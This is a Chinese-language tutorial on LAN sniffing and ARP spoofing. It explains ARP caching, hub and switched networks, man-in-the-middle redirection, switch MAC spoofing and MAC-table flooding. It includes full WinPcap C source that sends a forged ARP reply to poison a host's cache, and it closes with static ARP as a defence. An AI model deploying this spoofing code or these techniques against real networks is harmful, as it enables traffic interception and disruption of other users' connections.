交换网络中的嗅探和ARP欺骗中华网络安全联盟 www.77941.com

这是192.168.10.1机器上的ARP缓存表，假设，A进行一次ping 192.168.10.3操作，PING主机C，会查询本地的ARP缓存表，找到C的IP地址的MAC地址，那么就会进行数据传输，目的地就是C 的MAC地址。如果A中没有C的ARP记录，那么A首先要广播一次ARP请求，当C接收到A 的请求后就发送一个应答，应答中包含有C的MAC地址，然后A接收到C的应答，就会更新本地的ARP缓存。接着使用这个MAC地址发送数据（由网卡附加MAC地址）。因此，本地高速缓存的这个ARP表是本地网络流通的基础，而且这个缓存是动态的。

集线器网络(Hub-Based)

很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候，Hub只是简单地把这个数据包广播到Hub的所有端口上。这就是上面举例中的一种网络结构。

现在A需要发送TCP数据包给C。首先，A需要检查本地的ARP 缓存表，查看是否有IP为192.168.10.3即C的ARP记录，如果没有那么A将要广播一个ARP请求，当C接收到这个请求后，就作出应答，然后A更新自己的ARP缓存表。并获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包，Ethernet帧中就包含了C的MAC地址。当数据包传输到HUB的时候，HUB直接把整个数据包广播到所有的端口，然后C就能够接收到A发送的数据包。

正因为HUB把数据广播到所有的端口，所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。因此，Hub-Based的网络基本没有安全可言，嗅探在这样的网络中非常容易。

交换网络（Switched Lan）

交换机用来代替HUB，正是为了能够解决HUB的几个安全问题，其中就是能够来解决嗅探问题。Switch不是把数据包进行端口广播，它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此，在交换网络上，如果把上面例子中的HUB换为Switch，B就不会接收到A发送给C的数据包，即便设置网卡为混杂模式，也不能进行嗅探。

ARP欺骗（ARP spoofing）

ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候，就会对本地的ARP缓存进行更新，将应答中的IP和MAC地址存储在ARP缓存中。因此，在上面的假设网络中，B向A发送一个自己伪造的ARP应答，而这个应答中的数据为发送方IP地址是192.168.10.3（C的IP地址），MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地址本来应该是CC-CC-CC-CC-CC-CC，这里被伪造了）。当A接收到B伪造的ARP应答，就会更新本地的ARP缓存（A可不知道被伪造了）。现在A机器的ARP缓存更新了：

C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 DD-DD-DD-DD-DD-DD dynamic

这可不是小事。局域网的网络流通可不是根据IP地址进行，而是按照MAC地址进行传输。现在192.168.10.3的MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3，网卡递交的MAC地址是DD-DD-DD-DD-DD-DD，结果是什么呢？网络不通，A根本不能Ping通C！！这就是一个简单的ARP欺骗。

我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。（http://winpcap.polito.it/），winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。

// ARP Sender

#include "stdafx.h"

#include "Mac.h" //GetMacAddr()，我写的把字符串转换为MAC地址的函数，就不列在这里了

#include <stdio.h>

#include <Packet32.h>

#define EPT_IP 0x0800 /* type: IP */

#define EPT_ARP 0x0806 /* type: ARP */

#define EPT_RARP 0x8035 /* type: RARP */

#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */

#define ARP_REQUEST 0x0001 /* ARP request */

#define ARP_REPLY 0x0002 /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr

{

unsigned char eh_dst[6]; /* destination ethernet addrress */

unsigned char eh_src[6]; /* source ethernet addresss */

unsigned short eh_type; /* ethernet pachet type */

}EHHDR, *PEHHDR;

typedef struct arphdr

{

unsigned short arp_hrd; /* format of hardware address */

unsigned short arp_pro; /* format of protocol address */

unsigned char arp_hln; /* length of hardware address */

unsigned char arp_pln; /* length of protocol address */

unsigned short arp_op; /* ARP/RARP operation */

unsigned char arp_sha[6]; /* sender hardware address */

unsigned long arp_spa; /* sender protocol address */

unsigned char arp_tha[6]; /* target hardware address */

unsigned long arp_tpa; /* target protocol address */

}ARPHDR, *PARPHDR;

typedef struct arpPacket

{

EHHDR ehhdr;

ARPHDR arphdr;

} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])

{

static char AdapterList[Max_Num_Adapter][1024];

char szPacketBuf[600];

char MacAddr[6];

LPADAPTER lpAdapter;

LPPACKET lpPacket;

WCHAR AdapterName[2048];

WCHAR *temp,*temp1;

ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;

int nRetCode, i;###NextPage###

//Get The list of Adapter

if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)

{

printf("Unable to retrieve the list of the adapters!\n");

return 0;

}

temp = AdapterName;

temp1=AdapterName;

i = 0;

while ((*temp != '\0')||(*(temp-1) != '\0'))

{

if (*temp == '\0')

{

memcpy(AdapterList,temp1,(temp-temp1)*2);

temp1=temp+1;

i++;

}

temp++;

}

AdapterNum = i;

for (i = 0; i < AdapterNum; i++)

wprintf(L"\n%d- %s\n", i+1, AdapterList);

printf("\n");

//Default open the 0

lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);

//取第一个网卡（假设啦）

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))

{

nRetCode = GetLastError();

printf("Unable to open the driver, Error Code : %lx\n", nRetCode);

return 0;

}

lpPacket = PacketAllocatePacket();

if(lpPacket == NULL)

{

printf("\nError:failed to allocate the LPPACKET structure.");

return 0;

}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))

{

printf ("Get Mac address error!\n");

}

memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))

{

printf ("Get Mac address error!\n");

return 0;

}

memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。（A的地址）

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);

ARPPacket.arphdr.arp_pro = htons(EPT_IP);

ARPPacket.arphdr.arp_hln = 6;

ARPPacket.arphdr.arp_pln = 4;

ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))

{

printf ("Get Mac address error!\n");

return 0;

}

memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址

ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))

{

printf ("Get Mac address error!\n");

return 0;

}

memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址

ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));

PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)

{

printf("warning: Unable to send more than one packet in a single write!\n");

}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)

{

printf("Error sending the packets!\n");

return 0;

}

printf ("Send ok!\n");###NextPage###

// close the adapter and exit

PacketFreePacket(lpPacket);

PacketCloseAdapter(lpAdapter);

return 0;

}

于是A接收到一个被伪造的ARP应答。A被欺骗了！！倘若在局域网中看某某机器不顺眼，……以太网中的嗅探太有作用了，但是交换网络对嗅探进行了限制，让嗅探深入程度大打折扣。不过，很容易就能够发现，主机、Switch（动态更新地址表类型，下同）中的缓存表依然是（主要是）动态的。要在一个交换网络中进行有效的嗅探工作（地下党？），需要采用对付各种缓存表的办法，连骗带哄，甚至乱踹，在上面的ARP欺骗基础中我们就能够做到。

对目标进行ARP欺骗

就象上面程序中实现的一样，对目标A进行欺骗，A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如果进行欺骗的时候，把C的MAC地址骗为BB-BB-BB-BB-BB-BB，于是A发送到C上的数据包都变成发送给B的了。这不正好是B能够接收到A发送的数据包了么，嗅探成功。

A对这个变化一点都没有意识到，但是接下来的事情就让A产生了怀疑。因为A和C连接不上了！！B对接收到A发送给C的数据包可没有转交给C。做“man in the middle”,进行ARP重定向。打开B的IP转发功能，A发送过来的数据包，转发给C，好比一个路由器一样。不过，假如B发送ICMP重定向的话就中断了整个计划。直接进行整个包的修改转发，捕获到A发送给的数据包，全部进行修改后再转发给C，而C接收到的数据包完全认为是从A发送来的。不过，C发送的数据包又直接传递给A，倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥梁了。

对Switch的MAC欺骗

Switch上同样维护着一个动态的MAC缓存，它一般是这样，首先，交换机内部有一个对应的列表，交换机的端口对应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址，这个表开始是空的，交换机从来往数据帧中学习。举例来说，当Port 1口所接的计算机发出了一个数据帧，这帧数据从Port 1进入交换机，交换机就取这个数据帧的原MAC地址AAAA，然后在地址表中记录：Port 1 <-> AAAA, 以后，所有发向MAC地址为AAAA的数据帧，就全从Port 1口输出，而不会从其它的口输出。

跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了，那么对应的MAC和PORT就一样跟着改变，本来不应该发送到嗅探器的数据结果发送过来了，这样也达到了嗅探的目的。修改本地（B）发送的数据包MAC地址为原来A的MAC地址，当经过交换机的时候，交换机发现端口B对应的地址是机器A的MAC地址，于是就将会把A的MAC地址同端口B相对应，从而把发送给A的数据从端口B传输了，本来这些应该是传送到端口A的。因此，从机器B就能够获得发送给A的数据。

但是，这里有一个问题，A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时，从刚才的欺骗中，让交换机中一个MAC地址对应了多个端口，这种对于交换机处理还不清楚。还请多指教。

对Switch进行Flood

就象上面介绍Switch的MAC和Port对应关系形成的原理，因为MAC-PORT缓存表是动态更新的，那么让整个Switch的端口表都改变，对Switch进行MAC地址欺骗的Flood，不断发送大量假MAC地址的数据包，Switch就更新MAC-PORT缓存，如果能通过这样的办法把以前正常的MAC和Port对应的关系破坏了，那么Switch就会进行泛洪发送给每一个端口，让Switch基本变成一个HUB，向所有的端口发送数据包，要嗅探的目的一样能够达到。

存在的问题，Switch对这种极限情况的处理，因为属于不正常情况，可能会引起包丢失情况。而且现在对这种极限情况的Switch状态还很不了解。如果对网络通讯造成了大的破坏，这不属于正常的嗅探（嗅探也会引起一些丢失）。

对Switch进行各种手段的操作，需要小心，如果打开了端口保护，那么可能会让交换机关闭所有用户。因此，对交换机这样的设备进行欺骗或者其他操作，还不如对一些上级设备进行欺骗，比如目标主机或者路由器。

至于上面关于嗅探的手段都是基于这个动态表进行的。因此，使用静态的ARP就能够进行防范了。对于WIN，使用arp -s 来进行静态ARP的设置。

字体：小大